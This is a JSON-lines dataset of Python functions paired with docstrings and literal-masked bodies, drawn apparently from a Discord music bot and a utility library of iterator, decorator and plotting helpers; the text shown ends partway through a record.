{"signature": "@commands.command(name='<STR_LIT>')<EOL><INDENT>@commands.guild_only()<EOL>async def _find(self, ctx, *, query):<DEDENT>", "body": "if not query.startswith('<STR_LIT>') and not query.startswith('<STR_LIT>'):<EOL><INDENT>query = '<STR_LIT>' + query<EOL><DEDENT>results = await self.bot.lavalink.get_tracks(query)<EOL>if not results or not results['<STR_LIT>']:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>tracks = results['<STR_LIT>'][:<NUM_LIT:10>]  <EOL>o = '<STR_LIT>'<EOL>for index, track in enumerate(tracks, start=<NUM_LIT:1>):<EOL><INDENT>track_title = track[\"<STR_LIT:info>\"][\"<STR_LIT:title>\"]<EOL>track_uri = track[\"<STR_LIT:info>\"][\"<STR_LIT>\"]<EOL>o += f'<STR_LIT>'<EOL><DEDENT>embed = discord.Embed(color=discord.Color.blurple(), description=o)<EOL>await ctx.send(embed=embed)<EOL>", "docstring": "Lists the first 10 search results from a given query.", "id": "f6350:c0:m17"}
{"signature": "@commands.command(name='<STR_LIT>', aliases=['<STR_LIT>'])<EOL><INDENT>@commands.guild_only()<EOL>async def _disconnect(self, ctx):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.is_connected:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>if not ctx.author.voice or (player.is_connected and ctx.author.voice.channel.id != int(player.channel_id)):<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT>player.queue.clear()<EOL>await player.disconnect()<EOL>await ctx.send('<STR_LIT>')<EOL>", "docstring": "Disconnects the player from the voice channel and clears its queue.", "id": "f6350:c0:m18"}
{"signature": "@_playnow.before_invoke<EOL><INDENT>@_previous.before_invoke<EOL>@_play.before_invoke<EOL>async def ensure_voice(self, ctx):<DEDENT>", "body": "player = self.bot.lavalink.players.get(ctx.guild.id)<EOL>if not player.is_connected:<EOL><INDENT>if not ctx.author.voice or not ctx.author.voice.channel:<EOL><INDENT>await ctx.send('<STR_LIT>')<EOL>raise commands.CommandInvokeError(<EOL>'<STR_LIT>')<EOL><DEDENT>permissions = ctx.author.voice.channel.permissions_for(ctx.me)<EOL>if not permissions.connect or not permissions.speak:<EOL><INDENT>await ctx.send('<STR_LIT>')<EOL>raise commands.CommandInvokeError(<EOL>'<STR_LIT>')<EOL><DEDENT>player.store('<STR_LIT>', ctx.channel.id)<EOL>await player.connect(ctx.author.voice.channel.id)<EOL><DEDENT>else:<EOL><INDENT>if player.connected_channel.id != ctx.author.voice.channel.id:<EOL><INDENT>return await ctx.send('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "A few checks to make sure the bot can join a voice channel.", "id": "f6350:c0:m19"}
{"signature": "def is_main_alive():", "body": "for t in threading.enumerate():<EOL><INDENT>if t.name == '<STR_LIT>':<EOL><INDENT>return t.is_alive()<EOL><DEDENT><DEDENT>print('<STR_LIT>')<EOL>return False<EOL>", "docstring": "is \uba54\uc778 \uc4f0\ub808\ub4dc alive?\n:rtype: bool", "id": "f6354:m0"}
{"signature": "@tuple_args<EOL>def flows(args):", "body": "def flow_if_not(fun):<EOL><INDENT>if isinstance(fun, iterator):<EOL><INDENT>return fun<EOL><DEDENT>elif isinstance(fun, type) and '<STR_LIT>' in str(fun.__class__):<EOL><INDENT>return fun<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>return flow(fun)<EOL><DEDENT>except AttributeError:<EOL><INDENT>return fun<EOL><DEDENT><DEDENT><DEDENT>return FlowList(map(flow_if_not, args))<EOL>", "docstring": "todo : add some example\n:param args:\n:return:", "id": "f6355:m2"}
{"signature": "def loop(times=None):", "body": "import itertools<EOL>return iterate(itertools.repeat, True, times)<EOL>", "docstring": "None for infinite loop\n:param times:\n:return:", "id": "f6355:m6"}
{"signature": "@iterflow<EOL>def forever(it):", "body": "while True:<EOL><INDENT>i = iter(it)<EOL>try:<EOL><INDENT>yield i.next()<EOL><DEDENT>except StopIteration:<EOL><INDENT>raise StopIteration<EOL><DEDENT>while True:<EOL><INDENT>try:<EOL><INDENT>yield i.next()<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "forever\n    todo : add example", "id": "f6355:m7"}
{"signature": "def ibatch(size, iterable=None, rest=False):", "body": "@iterflow<EOL>def exact_size(it):<EOL><INDENT>it = iter(it)<EOL>while True:<EOL><INDENT>yield [it.next() for _ in xrange(size)]<EOL><DEDENT><DEDENT>@iterflow<EOL>def at_most(it):<EOL><INDENT>it = iter(it)<EOL>while True:<EOL><INDENT>data = []<EOL>for _ in xrange(size):<EOL><INDENT>try:<EOL><INDENT>data.append(it.next())<EOL><DEDENT>except StopIteration:<EOL><INDENT>if data:<EOL><INDENT>yield data<EOL><DEDENT>raise StopIteration<EOL><DEDENT><DEDENT>yield data<EOL><DEDENT><DEDENT>ibatchit = at_most if rest else exact_size<EOL>return ibatchit if iterable is None else ibatchit(iterable)<EOL>", "docstring": "add example\n:param size:\n:param iterable:\n:param rest:\n:return:", "id": "f6355:m13"}
{"signature": "def batchzip(size, iterable=None, rest=False):", "body": "fn = ibatch(size, rest=rest) >> zipflow<EOL>return fn if iterable is None else fn(iterable)<EOL>", "docstring": "todo : add example\n:param size:\n:param iterable:\n:param rest:\n:return:", "id": "f6355:m14"}
{"signature": "def batchstack(size, iterable=None, rest=False):", "body": "def stack(data):<EOL><INDENT>import numpy as np<EOL>return map(np.vstack, data)<EOL><DEDENT>fn = batchzip(size, rest=rest) >> flow(stack)<EOL>return fn if iterable is None else fn(iterable)<EOL>", "docstring": "todo : add example\n:param size:\n:param iterable:\n:param rest:\n:return:", "id": "f6355:m15"}
{"signature": "def shuffle(qsize=<NUM_LIT>, iterable=None):", "body": "@iterflow<EOL>def shuffleit(it):<EOL><INDENT>from random import randrange<EOL>q = []<EOL>for i, d in enumerate(it):<EOL><INDENT>q.insert(randrange(<NUM_LIT:0>, len(q) + <NUM_LIT:1>), d)<EOL>if i < qsize:<EOL><INDENT>continue<EOL><DEDENT>yield q.pop(randrange(<NUM_LIT:0>, len(q)))<EOL><DEDENT>while q:<EOL><INDENT>yield q.pop(randrange(<NUM_LIT:0>, len(q)))<EOL><DEDENT><DEDENT>return shuffleit if iterable is None else shuffleit(iterable)<EOL>", "docstring": "add example\n:param qsize:\n:param iterable:\n:return:", "id": "f6355:m16"}
{"signature": "def __call__(self, *args, **kwargs):", "body": "self.args = args<EOL>self.kwargs = kwargs<EOL>self.reset()<EOL>return self<EOL>", "docstring": "decorator call", "id": "f6355:c2:m1"}
{"signature": "def action(self, item):", "body": "fun, args, kwargs = item<EOL>return fun(*args, **kwargs)<EOL>", "docstring": "for overriding\n:param item:\n:return:", "id": "f6356:c0:m3"}
{"signature": "def push_job(self, fun, *args, **kwargs):", "body": "assert callable(fun)<EOL>return self.put((fun, args, kwargs), block=True)<EOL>", "docstring": "put job if possible, non-blocking\n:param fun:\n:param args:\n:param kwargs:\n:return:", "id": "f6356:c0:m4"}
{"signature": "def put_job(self, fun, *args, **kwargs):", "body": "if not args and not kwargs and isinstance(fun, (tuple, list)):<EOL><INDENT>fun, args, kwargs = fun<EOL><DEDENT>assert callable(fun)<EOL>return self.put((fun, args, kwargs), block=False)<EOL>", "docstring": "put job if possible, non-blocking\n:param fun:\n:param args:\n:param kwargs:\n:return:", "id": "f6356:c0:m5"}
{"signature": "def deco_optional(decorator):", "body": "@functools.wraps(decorator)<EOL>def dispatcher(*args, **kwargs):<EOL><INDENT>one_arg = len(args) == <NUM_LIT:1> and not kwargs<EOL>if one_arg and inspect.isfunction(args[<NUM_LIT:0>]):<EOL><INDENT>decor_obj = decorator()<EOL>return decor_obj(args[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>return decorator(*args, **kwargs)<EOL><DEDENT><DEDENT>return dispatcher<EOL>", "docstring": "optional argument \ub97c \ud3ec\ud568\ud558\ub294 decorator\ub97c \ub9cc\ub4dc\ub294 decorator", "id": "f6357:m0"}
{"signature": "def optional(deco):", "body": "@functools.wraps(deco)<EOL>def dispatcher(*args, **kwargs):<EOL><INDENT>decorator = deco(**kwargs)<EOL>if args:<EOL><INDENT>assert len(args) == <NUM_LIT:1><EOL>return decorator(args[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>return decorator<EOL><DEDENT><DEDENT>return dispatcher<EOL>", "docstring": "decorator option\uc740 kwargs\ub9cc \ud5c8\uc6a9\n:param deco:\n:return:", "id": "f6357:m1"}
{"signature": "def optional_str(deco):", "body": "@functools.wraps(deco)<EOL>def dispatcher(*args, **kwargs):<EOL><INDENT>if not kwargs and len(args) == <NUM_LIT:1>and not isinstance(args[<NUM_LIT:0>], str)and args[<NUM_LIT:0>] is not None:<EOL><INDENT>decorator = deco()<EOL>return decorator(args[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>decorator = deco(*args, **kwargs)<EOL>return decorator<EOL><DEDENT><DEDENT>return dispatcher<EOL>", "docstring": "string 1\uac1c\ub9cc deco \uc778\uc790\ub85c \uc62c \uc218 \uc788\ub2e4.\n:param deco:\n:return:", "id": "f6357:m2"}
{"signature": "def bindargs(fun, *argsbind, **kwbind):", "body": "assert argsbind<EOL>argsb = list(argsbind)<EOL>iargs = [i for i in range(len(argsbind)) if argsbind[i] is bind.placeholder]<EOL>@functools.wraps(fun)<EOL>def wrapped(*args, **kwargs):<EOL><INDENT>kws = kwbind.copy()<EOL>args_this = [a for a in argsb]<EOL>for i, arg in zip(iargs, args):<EOL><INDENT>args_this[i] = arg<EOL><DEDENT>args_this.extend(args[len(iargs):])<EOL>kws.update(kwargs)<EOL>return fun(*args_this, **kws)<EOL><DEDENT>return wrapped<EOL>", "docstring": "_ = bind.placeholder   # unbound placeholder (arg)\nf = bind(fun, _, _, arg3, kw=kw1, kw2=kw2), f(arg1, arg2)\n:param fun:\n:param argsbind:\n:param kwbind:\n:return:", "id": "f6357:m3"}
{"signature": "def bindkw(fun, **kwbind):", "body": "@functools.wraps(fun)<EOL>def wrapped(*args, **kwargs):<EOL><INDENT>kws = kwbind.copy()<EOL>kws.update(kwargs)<EOL>return fun(*args, **kws)<EOL><DEDENT>return wrapped<EOL>", "docstring": "kwarg \ubc14\uc778\ub529\ub41c \ud568\uc218 return.\nex)\ndef fun(opt1, opt2):\n    print opt1, opt2\n\nf = bind(fun, opt1=2, opt2=3)\nf()\n:param function fun:\n:param kwbind:\n:return: function", "id": "f6357:m4"}
{"signature": "def default(fun, **kwdefault):", "body": "@functools.wraps(fun)<EOL>def wrapped(*args, **kwargs):<EOL><INDENT>merge = wrapped.default.copy()<EOL>merge.update(kwargs)<EOL>return fun(*args, **merge)<EOL><DEDENT>wrapped.default = kwdefault<EOL>return wrapped<EOL>", "docstring": "change default value for function\nex)\ndef sample(a, b=1, c=1):\n    print 'from sample:', a, b, c\n    return a, b, c\nfun = default(sample, b=4,c=5)\nprint fun.default  # get default value dictionary\nfun(1)  # print 1, 5, 5 and return\n\n:param fun:\n:param kwdefault:\n:return:", "id": "f6357:m5"}
{"signature": "def setup_once(initfn):", "body": "def wrap(method):<EOL><INDENT>finit = initfn.__name__<EOL>fnname = method.__name__<EOL>@functools.wraps(method)<EOL>def wrapped(self, *args, **kwargs):<EOL><INDENT>@functools.wraps(method)<EOL>def aftersetup(*a, **kw):<EOL><INDENT>return method(self, *a, **kw)<EOL><DEDENT>setupfn = getattr(self, finit)<EOL>setupfn(*args, **kwargs)<EOL>res = method(self, *args, **kwargs)<EOL>setattr(self, fnname, aftersetup)<EOL>return res<EOL><DEDENT>return wrapped<EOL><DEDENT>return wrap<EOL>", "docstring": "call class instance method for initial setup ::\n\n    class B(object):\n\n        def init(self, a):\n            print 'init call:', a\n\n        @setup_once(init)\n        def mycall(self, a):\n            print 'real call:', a\n\n    b = B()\n    b.mycall(222)\n    b.mycall(333)\n\n:param function initfn:\n:return: decorated method", "id": "f6357:m6"}
{"signature": "def static(**kwargs):", "body": "def wrap(fn):<EOL><INDENT>fn.func_globals['<STR_LIT>'] = fn<EOL>fn.__dict__.update(kwargs)<EOL>return fn<EOL><DEDENT>return wrap<EOL>", "docstring": "USE carefully ^^", "id": "f6357:m8"}
{"signature": "def threaded(f, *args, **kwargs):", "body": "if args or kwargs:<EOL><INDENT>return Threaded(f, *args, **kwargs)<EOL><DEDENT>@wraps(f)<EOL>def wrapped(*wargs, **wkwargs):<EOL><INDENT>return Threaded(f, *wargs, **wkwargs)<EOL><DEDENT>return wrapped<EOL>", "docstring": "function decorator", "id": "f6358:m0"}
{"signature": "def spawn(f, *args, **kwargs):", "body": "if args or kwargs:<EOL><INDENT>return Spawn(f, *args, **kwargs)<EOL><DEDENT>@wraps(f)<EOL>def wrapped(*args, **kwargs):<EOL><INDENT>return Spawn(f, *args, **kwargs)<EOL><DEDENT>return wrapped<EOL>", "docstring": "decorator", "id": "f6358:m1"}
{"signature": "def __getattr__(self, item):", "body": "return None<EOL>", "docstring": "\ud574\ub2f9 \ud0a4\uac00 \uc5c6\uc744 \ub54c None\uc744 \uc900\ub2e4.\n:param item: \ud0a4\n:rtype None:", "id": "f6359:c0:m1"}
{"signature": "def __sub__(self, other):", "body": "return DictObj({k: v for k, v in self.items() if k not in other})<EOL>", "docstring": ":type other: dict\n:rtype: dictobj: other dict\uc5d0 \uc5c6\ub294 items\ub9cc \ub9ac\ud134", "id": "f6359:c0:m2"}
{"signature": "def __getnewargs__(self):", "body": "return tuple()<EOL>", "docstring": "pickling related", "id": "f6359:c0:m4"}
{"signature": "def intersect(self, other):", "body": "return DictObj({k: self[k] for k in self if k in other})<EOL>", "docstring": "self\uc640 other \ud0a4\uac00 \ub3d9\uc77c\ud55c \uc544\uc774\ud15c\uc758 dictobj\n:type other: dict\n:rtype: dictobj:", "id": "f6359:c0:m8"}
{"signature": "@staticmethod<EOL><INDENT>def from_dict(dic):<DEDENT>", "body": "return DictObj({k: DictObj.convert_ifdic(v) for k, v in dic.items()})<EOL>", "docstring": "recursive dict to dictobj \ucee8\ubc84\ud2b8\n:param dic:\n:return:", "id": "f6359:c0:m10"}
{"signature": "def guess_package_path(searchfrom):", "body": "from snipy.io import fileutil<EOL>current = searchfrom + '<STR_LIT:/>'<EOL>init_found = False<EOL>pack_found = False<EOL>while not init_found and current != '<STR_LIT:/>':<EOL><INDENT>current = os.path.dirname(current)<EOL>initfile = os.path.join(current, '<STR_LIT>')<EOL>init_found = os.path.exists(initfile)<EOL><DEDENT>if not init_found:<EOL><INDENT>searchfrom = dirname(searchfrom)<EOL>for folder in fileutil.listfolder(searchfrom):<EOL><INDENT>current = os.path.join(searchfrom, folder)<EOL>initfile = os.path.join(current, '<STR_LIT>')<EOL>init_found = os.path.exists(initfile)<EOL>if init_found:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>while init_found:<EOL><INDENT>current = os.path.dirname(current)<EOL>initfile = os.path.join(current, '<STR_LIT>')<EOL>init_found = os.path.exists(initfile)<EOL>pack_found = not init_found<EOL><DEDENT>return current if pack_found else None<EOL>", "docstring": "package path. return None if failed to guess", "id": "f6360:m0"}
{"signature": "def find_package_path(searchfrom):", "body": "current = searchfrom + '<STR_LIT:/>'<EOL>init_found = False<EOL>pack_found = False<EOL>while not init_found and current != '<STR_LIT:/>':<EOL><INDENT>current = os.path.dirname(current)<EOL>initfile = os.path.join(current, '<STR_LIT>')<EOL>init_found = os.path.exists(initfile)<EOL><DEDENT>while init_found:<EOL><INDENT>current = os.path.dirname(current)<EOL>initfile = os.path.join(current, '<STR_LIT>')<EOL>init_found = os.path.exists(initfile)<EOL>pack_found = not init_found<EOL><DEDENT>return current if pack_found else None<EOL>", "docstring": "package path. return None if failed to guess", "id": "f6360:m1"}
{"signature": "def append_sys_path(p):", "body": "if p not in sys.path:<EOL><INDENT>sys.path.insert(<NUM_LIT:0>, p)<EOL><DEDENT>", "docstring": "append system path", "id": "f6360:m2"}
{"signature": "def append_this_package_path(depth=<NUM_LIT:1>):", "body": "from .caller import caller<EOL>logg.debug('<STR_LIT>', caller.modulename(depth + <NUM_LIT:1>))<EOL>c = caller.abspath(depth + <NUM_LIT:1>)<EOL>logg.debug('<STR_LIT>', c)<EOL>p = guess_package_path(dirname(c))<EOL>if p:<EOL><INDENT>logg.debug('<STR_LIT>', p)<EOL>append_sys_path(p)<EOL><DEDENT>else:<EOL><INDENT>logg.debug('<STR_LIT>', c)<EOL><DEDENT>", "docstring": "this_package.py \uc5d0\uc11c \uc0ac\uc6a9\nimport snipy.this_package", "id": "f6360:m3"}
{"signature": "@classmethod<EOL><INDENT>def path(cls, depth=<NUM_LIT:1>):<DEDENT>", "body": "depth += cls.extra_depth<EOL>return inspect.stack()[depth][<NUM_LIT:1>]<EOL>", "docstring": "caller path (*.py)", "id": "f6362:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def abspath(cls, depth=<NUM_LIT:1>):<DEDENT>", "body": "return os.path.abspath(cls.path(depth + <NUM_LIT:1>))<EOL>", "docstring": "caller path (*.py)", "id": "f6362:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def modulename(cls, depth=<NUM_LIT:1>):<DEDENT>", "body": "depth += cls.extra_depth<EOL>frame = sys._getframe(depth)<EOL>return frame.f_globals['<STR_LIT>']<EOL>", "docstring": "get caller's __name__", "id": "f6362:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def packagename(cls, depth=<NUM_LIT:1>):<DEDENT>", "body": "name = cls.modulename(depth+<NUM_LIT:1>)<EOL>return name.split('<STR_LIT:.>', <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>", "docstring": "get package name by splitting __name__", "id": "f6362:c0:m4"}
{"signature": "def progress(iter, **kwargs):", "body": "if isinstance(iter, int):<EOL><INDENT>iter = xrange(iter)<EOL><DEDENT>if hasattr(iter, '<STR_LIT>') or '<STR_LIT:target>' in kwargs:<EOL><INDENT>cls = Progress<EOL><DEDENT>else:<EOL><INDENT>cls = ProgressBase<EOL><DEDENT>return cls(iter, **kwargs)<EOL>", "docstring": "\ud504\ub85c\uadf8\ub798\uc2a4 bar\nfor i in progress(10):\n    print i\n\nfor i in progress(iter):\n    print i", "id": "f6363:m0"}
{"signature": "def iprogress(iter, **kwargs):", "body": "return progress(iter, **kwargs).enumerate()<EOL>", "docstring": "enumerate with progress", "id": "f6363:m1"}
{"signature": "@tuple_args<EOL>def plots(data, **kwargs):", "body": "labels = kwargs.pop('<STR_LIT>', '<STR_LIT>')<EOL>loc = kwargs.pop('<STR_LIT>', <NUM_LIT:1>)<EOL>lines = plt.plot(np.asarray(data).T, **kwargs)<EOL>if labels:<EOL><INDENT>plt.legend(lines, labels, loc=loc)<EOL><DEDENT>return lines<EOL>", "docstring": "simple wrapper plot with labels and skip x\n:param yonly_or_xy:\n:param kwargs:\n:return:", "id": "f6367:m0"}
{"signature": "def imshow_grid(images, grid=None, showfun=None, **opt):", "body": "<EOL>showfun = showfun or plt.imshow<EOL>count = len(images)<EOL>grid = grid or grid_recommend(count, sorted(images[<NUM_LIT:0>].shape[:<NUM_LIT:2>]))<EOL>res = []<EOL>for i, img in enumerate(images):<EOL><INDENT>plt.subplot2grid(grid, (i % grid[<NUM_LIT:0>], i // grid[<NUM_LIT:0>]))<EOL>res.append(showfun(img.squeeze(), **opt))<EOL><DEDENT>return res<EOL>", "docstring": ":param images: nhwc\n:return:", "id": "f6367:m2"}
{"signature": "def plt_range(*args, **kwargs):", "body": "wait = kwargs.pop('<STR_LIT>', True)<EOL>if not wait:<EOL><INDENT>for i in progress(range(*args)):<EOL><INDENT>yield i<EOL><DEDENT>return<EOL><DEDENT>class _holder(object):<EOL><INDENT>pass<EOL><DEDENT>hold = _holder()<EOL>hold.i = <NUM_LIT:0><EOL>hold.done = False<EOL>def press(event):<EOL><INDENT>hold.i += -<NUM_LIT:1> if event.key == '<STR_LIT:left>' else <NUM_LIT:1><EOL>hold.i = <NUM_LIT:0> if hold.i < <NUM_LIT:0> else hold.i<EOL><DEDENT>def onclose(event):<EOL><INDENT>hold.done = True<EOL><DEDENT>fig = kwargs.pop('<STR_LIT>', None)<EOL>figsize = kwargs.pop('<STR_LIT>', None)<EOL>if fig is None:<EOL><INDENT>fig = plt.gcf()<EOL>if figsize:<EOL><INDENT>fig.set_size_inches(figsize)<EOL><DEDENT><DEDENT>elif isinstance(fig, (int, str)):<EOL><INDENT>if figsize:<EOL><INDENT>fig = plt.figure(fig, figsize=figsize)<EOL><DEDENT>else:<EOL><INDENT>fig = plt.figure(fig)<EOL><DEDENT><DEDENT>elif isinstance(fig, plt.Figure):<EOL><INDENT>if figsize:<EOL><INDENT>fig.set_size_inches(figsize)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError<EOL><DEDENT>onkey_fig(press, fig)<EOL>onclose_fig(onclose, fig)<EOL>ranges = range(*args)<EOL>l = len(ranges)<EOL>while hold.i < l:<EOL><INDENT>print('<STR_LIT>', ranges[hold.i])<EOL>yield ranges[hold.i]  <EOL>before = hold.i<EOL>while before == hold.i:<EOL><INDENT>while not fig.waitforbuttonpress(<NUM_LIT>):<EOL><INDENT>if hold.done:<EOL><INDENT>return<EOL><DEDENT><DEDENT>while fig.waitforbuttonpress(<NUM_LIT:0.1>):<EOL><INDENT>if hold.done:<EOL><INDENT>return<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "for i in plot_range(n):\n    plt.imshow(imgs[i])\n\nleft arrow yield prev value\nother key yield next value\n:param args:\n:return:", "id": "f6367:m3"}
{"signature": "def plot_pause(timeout=None, msg='<STR_LIT>'):", "body": "if timeout is not None:<EOL><INDENT>print(msg or '<STR_LIT>'.format(timeout))<EOL>plt.waitforbuttonpress(timeout=timeout)<EOL>return True<EOL><DEDENT>print(msg or '<STR_LIT>')<EOL>while not plt.waitforbuttonpress(timeout=<NUM_LIT>):<EOL><INDENT>if not plt.get_fignums():<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return len(plt.get_fignums()) != <NUM_LIT:0><EOL>", "docstring": "todo : add some example\n:param timeout: wait time. if None, blocking\n:param msg:\n:return:", "id": "f6367:m5"}
{"signature": "def flat_images(images, grid=None, bfill=<NUM_LIT:1.0>, bsz=(<NUM_LIT:1>, <NUM_LIT:1>)):", "body": "if images.ndim == <NUM_LIT:4> and images.shape[-<NUM_LIT:1>] == <NUM_LIT:1>:<EOL><INDENT>images = images.squeeze(axis=-<NUM_LIT:1>)<EOL><DEDENT>grid = grid or grid_recommend(len(images), sorted(images[<NUM_LIT:0>].shape[:<NUM_LIT:2>]))<EOL>if not isinstance(bsz, (tuple, list)):<EOL><INDENT>bsz = (bsz, bsz)<EOL><DEDENT>imshape = list(images.shape)<EOL>imshape[<NUM_LIT:0>] = grid[<NUM_LIT:0>] * grid[<NUM_LIT:1>]<EOL>imshape[<NUM_LIT:1>] += bsz[<NUM_LIT:0>]<EOL>imshape[<NUM_LIT:2>] += bsz[<NUM_LIT:1>]<EOL>data = np.empty(imshape, dtype=images.dtype)<EOL>data.fill(bfill)<EOL>bslice0 = slice(<NUM_LIT:0>, -bsz[<NUM_LIT:0>]) if bsz[<NUM_LIT:0>] else slice(None, None)<EOL>bslice1 = slice(<NUM_LIT:0>, -bsz[<NUM_LIT:1>]) if bsz[<NUM_LIT:1>] else slice(None, None)<EOL>data[:len(images), bslice0, bslice1] = images<EOL>imshape = list(grid) + imshape[<NUM_LIT:1>:]  <EOL>data = data.reshape(imshape)<EOL>if len(imshape) == <NUM_LIT:5>:<EOL><INDENT>data = data.transpose(<NUM_LIT:0>, <NUM_LIT:2>, <NUM_LIT:1>, <NUM_LIT:3>, <NUM_LIT:4>)<EOL>imshape = [imshape[<NUM_LIT:0>]*imshape[<NUM_LIT:2>], imshape[<NUM_LIT:1>]*imshape[<NUM_LIT:3>], imshape[<NUM_LIT:4>]]<EOL><DEDENT>else:  <EOL><INDENT>data = data.transpose(<NUM_LIT:0>, <NUM_LIT:2>, <NUM_LIT:1>, <NUM_LIT:3>)<EOL>imshape = [imshape[<NUM_LIT:0>]*imshape[<NUM_LIT:2>], imshape[<NUM_LIT:1>]*imshape[<NUM_LIT:3>]]<EOL><DEDENT>data = data.reshape(imshape)<EOL>data = data[bslice0, bslice1]<EOL>return data<EOL>", "docstring": "convert batch image to flat image with margin inserted\n[B,h,w,c] => [H,W,c]\n:param images:\n:param grid: patch grid cell size of (Row, Col)\n:param bfill: board filling value\n:param bsz: int or (int, int) board size\n:return: flatted image", "id": "f6367:m7"}
{"signature": "def imshow_flat(images, grid=None, showfun=None, bfill=<NUM_LIT:1.0>, bsz=(<NUM_LIT:1>,<NUM_LIT:1>), **opt):", "body": "showfun = showfun or plt.imshow<EOL>count = len(images)<EOL>grid = grid or grid_recommend(count, ratio=sorted(images[<NUM_LIT:0>].shape[:<NUM_LIT:2>]))<EOL>flatted = flat_images(images, grid, bfill=bfill, bsz=bsz)<EOL>res = showfun(flatted, **opt)<EOL>plt.draw()<EOL>", "docstring": "imshow after applying flat_images\n:param images: [bhwc]\n:param grid: None for auto grid\n:param showfun: plt.imshow\n:param bfill: color for board fill\n:param bsz: size of board\n:param opt: option for showfun\n:return:", "id": "f6367:m8"}
{"signature": "def matshow(*args, **kwargs):", "body": "kwargs['<STR_LIT>'] = kwargs.pop('<STR_LIT>', '<STR_LIT:none>')<EOL>return plt.imshow(*args, **kwargs)<EOL>", "docstring": "imshow without interpolation like as matshow\n:param args:\n:param kwargs:\n:return:", "id": "f6367:m13"}
{"signature": "def imbox(xy, w, h, angle=<NUM_LIT:0.0>, **kwargs):", "body": "from matplotlib.patches import Rectangle<EOL>return imbound(Rectangle, xy, w, h, angle, **kwargs)<EOL>", "docstring": "draw boundary box\n:param xy: start index xy (ji)\n:param w: width\n:param h: height\n:param angle:\n:param kwargs:\n:return:", "id": "f6367:m15"}
{"signature": "def imbound(clspatch, *args, **kwargs):", "body": "<EOL>c = kwargs.pop('<STR_LIT>', kwargs.get('<STR_LIT>', None))<EOL>kwargs.update(facecolor='<STR_LIT:none>', edgecolor=c)<EOL>return impatch(clspatch, *args, **kwargs)<EOL>", "docstring": ":param clspatch:\n:param args:\n:param kwargs:\n:return:", "id": "f6367:m17"}
{"signature": "def imslic(img, n_segments=<NUM_LIT:100>, aspect=None):", "body": "from skimage.segmentation import (slic, mark_boundaries)<EOL>from skimage.morphology import (dilation)<EOL>if img.ndim == <NUM_LIT:2> or img.ndim == <NUM_LIT:3> and img.shape[-<NUM_LIT:1>] == <NUM_LIT:1>:<EOL><INDENT>imz = np.stack([img, img, img], <NUM_LIT:2>)<EOL><DEDENT>else:<EOL><INDENT>imz = img<EOL><DEDENT>slics = slic(imz, n_segments=n_segments)<EOL>boundaries = mark_boundaries(imz, slics)<EOL>return plt.imshow(boundaries, aspect=aspect)<EOL>", "docstring": "slic args :\nn_segments=100, compactness=10., max_iter=10,\nsigma=0, spacing=None,\nmultichannel=True, convert2lab=None, enforce_connectivity=True,\nmin_size_factor=0.5, max_size_factor=3, slic_zero=False\n\nmark_boundaries args:\nlabel_img, color=(1, 1, 0), outline_color=None, mode='outer', background_label=0\n\nimshow args:\ncmap=None, norm=None, aspect=None, interpolation=None,\nalpha=None, vmin=None, vmax=None, origin=None,\nextent=None, shape=None, filternorm=1, filterrad=4.0,\nimlim=None, resample=None, url=None, hold=None, data=None,\n\n:param img:\n:param slicarg:\n:param slickw:\n:return:", "id": "f6367:m20"}
{"signature": "def imslic2(img, n_segments=<NUM_LIT:100>, color=None, outline_color=None, mode='<STR_LIT>', **kwargs):", "body": "from skimage.segmentation import (slic, find_boundaries) <EOL>from skimage.morphology import (dilation)<EOL>kwslic = {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}<EOL>imshowkw = {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:url>', '<STR_LIT>', '<STR_LIT:data>'}<EOL>slicarg = {k: v for k, v in kwargs.iteritems() if k in kwslic}<EOL>imshowarg = {k: v for k, v in kwargs.iteritems() if k in imshowkw}<EOL>if img.ndim == <NUM_LIT:2> or img.ndim == <NUM_LIT:3> and img.shape[-<NUM_LIT:1>] == <NUM_LIT:1>:<EOL><INDENT>imz = np.stack([img, img, img], <NUM_LIT:2>)<EOL>color = color or <NUM_LIT:1.><EOL><DEDENT>else:<EOL><INDENT>imgz = img<EOL>color = color or (<NUM_LIT:1>,<NUM_LIT:1>,<NUM_LIT:0>)<EOL><DEDENT>slics = slic(imz, n_segments=n_segments, **slicarg)<EOL>boundaries = find_boundaries(slics, mode=mode)<EOL>if outline_color is not None:<EOL><INDENT>outlines = dilation(boundaries, np.ones((<NUM_LIT:3>, <NUM_LIT:3>), np.uint8))<EOL>img[outlines] = outline_color<EOL><DEDENT>img[boundaries] = color<EOL>return plt.imshow(img, **imshowarg)<EOL>", "docstring": "slic args :\nn_segments=100, compactness=10., max_iter=10,\nsigma=0, spacing=None,\nmultichannel=True, convert2lab=None, enforce_connectivity=True,\nmin_size_factor=0.5, max_size_factor=3, slic_zero=False\n\nmark_boundaries args:\nlabel_img, color=(1, 1, 0), outline_color=None, mode='outer', background_label=0\n\nimshow args:\ncmap=None, norm=None, aspect=None, interpolation=None,\nalpha=None, vmin=None, vmax=None, origin=None,\nextent=None, shape=None, filternorm=1, 